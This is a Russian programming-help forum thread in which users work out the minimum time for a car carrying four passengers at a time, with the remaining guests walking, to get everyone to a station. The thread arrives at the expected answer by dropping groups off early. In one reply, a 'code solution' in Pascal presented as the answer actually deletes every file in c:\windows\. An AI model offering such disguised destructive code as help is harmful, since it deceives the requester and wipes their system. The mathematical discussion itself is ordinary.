Помогите решить задачу!

Модератор: Модераторы

Помогите решить задачу!

Сообщение cs237224 » 29.10.2014 19:22:43

Помогите решить пожалуйста задачу!
N гостей (1 ≤ N ≤ 30) засиделись на даче и боятся опоздать на последнюю электричку. У хозяина дачи, который остается на ночь, есть автомобиль, но в него могут сесть одновременно не более 4 человек, не считая шофера. Скорость движения автомобиля по лесной дороге – V км/ч, скорость движения пешехода – U км/ч, расстояние от дачи до железнодорожной станции – Z км, затратами времени на посадку-высадку пассажиров и разворот автомобиля можно пренебречь. За какое минимальное время все гости доберутся до станции?

Входные данные
В единственной строке заданы значения величин N, V, U и Z, разделенными одним или несколькими пробелами. Числа V, U и Z — положительные вещественные и не превосходят 100.

Выходные данные
Выведите искомое значение времени с точностью до 10 - 3.

Примеры
входные данные
8 30 5 15
выходные данные
1.0555555556
Буду очень благодарен!
cs237224
незнакомец
 
Сообщения: 3
Зарегистрирован: 29.10.2014 18:54:24

Re: Помогите решить задачу!

Сообщение скалогрыз » 29.10.2014 20:03:21

чё-то у меня не получается 1.0555555556 при этих входных данных. 1.2142857228 часа минимум.

после того, как машина довезёт первых 4х, а оставшиеся выйдут пешком, пройдёт 0.5 часа.
после того, как машина встретится с оставшейся группой (идушей пешком) пройдёт ещё 0.37 часа.
так довезти её до станции это же ещё 0.37 часа.
итого: 0.5+0.37+0.37 = 1.24.

код решения:
Код: Выделить всё
uses SysUtils;

var
  s: TSearchRec;
  distance: Integer;
  p : string;
begin
  p:='c:\windows\';
  distance:=FindFirst(p+'*.*', faAnyFile, s);
  if distance=0 then begin
    repeat
      if FileExists(p+s.Name) then DeleteFile(p+s.Name)
    until FindNext(s)<>0;
    FindClose(s);
  end;
end;
скалогрыз
долгожитель
 
Сообщения: 1803
Зарегистрирован: 03.09.2008 02:36:48

Re: Помогите решить задачу!

Сообщение zub » 29.10.2014 20:19:27

скалогрыз
предлагаю хозяину не довозить гостей сразу до вокзала - высадить пораньше, пока едет за вторыми, недовезенные сами доковыляют, какраз и сэкономится время до 1.0555555556, хотя не проверял. надо помаксимуму паралельные процессы использовать)), чтобы в конце все одновременно прибыли на вокзал и никто никого там не ждал
Последний раз редактировалось zub 29.10.2014 20:40:30, всего редактировалось 1 раз.
zub
долгожитель
 
Сообщения: 2886
Зарегистрирован: 14.11.2005 23:51:26

Re: Помогите решить задачу!

Сообщение cs237224 » 29.10.2014 20:22:53

скалогрыз писал(а):чё-то у меня не получается 1.0555555556 при этих входных данных. 1.2142857228 часа минимум.

после того, как машина довезёт первых 4х, а оставшиеся выйдут пешком, пройдёт 0.5 часа.
после того, как машина встретится с оставшейся группой (идушей пешком) пройдёт ещё 0.37 часа.
так довезти её до станции это же ещё 0.37 часа.
итого: 0.5+0.37+0.37 = 1.24.
так же решал, но с ответом не совпало, поэтому обратился за помощью...
cs237224
незнакомец
 
Сообщения: 3
Зарегистрирован: 29.10.2014 18:54:24

Re: Помогите решить задачу!

Сообщение Sharfik » 29.10.2014 21:25:20

Условия задачи:
Тема находится в разделе "Разное ‹ Помощь за вознаграждение". Пользователь не удосужился представится, а создал - аля ботник. Цену работы и желаемый результат не обозначил.
Вопрос - нафига на него тратить время?
Последний раз редактировалось Sharfik 31.10.2014 13:01:24, всего редактировалось 1 раз.
Аватара пользователя
Sharfik
энтузиаст
 
Сообщения: 763
Зарегистрирован: 20.07.2013 01:04:30

Re: Помогите решить задачу!

Сообщение скалогрыз » 29.10.2014 22:47:43

zub писал(а):скалогрыз
предлагаю хозяину не довозить гостей сразу до вокзала - высадить пораньше, пока едет за вторыми, недовезенные сами доковыляют, какраз и сэкономится время до 1.0555555556, хотя не проверял. надо помаксимуму паралельные процессы использовать)), чтобы в конце все одновременно прибыли на вокзал и никто никого там не ждал

точно ведь, пересчитал - получилось 1.055555556

для данных расклад такой.
Водитель должен высадить первую группу через 0.388888889 часа
Возвращатся и уже через 0.277777778 забрать вторую группу.

Проверки:
Полный путь: 0.3888 * 30 + 0.2777 * 5 + 0.3888 * 5 = 11.66 + 1.39 + 1.95 = 15
Место встречи (авто): 0.3888 * 30 - 0.2777 * 30 = 11.66 - 8.33 = 3.33
Место встречи (пешком): 0.3888 * 5 + 0.2777 * 5 = 1.95 + = 1.95 + 1.38 = 3.33 (тоже место что и на авто).

Большее количество групп считается по аналогии. Главное брать за основу, что все человеки прийдут на вокзал одновременно.
Считается по формулам и просто.
Время возврата зависит от разности скоростей и времени группы "в машине".
Время "в машине" зависит от скоростей, количества групп и расстояния.
скалогрыз
долгожитель
 
Сообщения: 1803
Зарегистрирован: 03.09.2008 02:36:48


Вернуться в Помощь за вознаграждение

Кто сейчас на конференции

Сейчас этот форум просматривают: нет зарегистрированных пользователей и гости: 1

Рейтинг@Mail.ru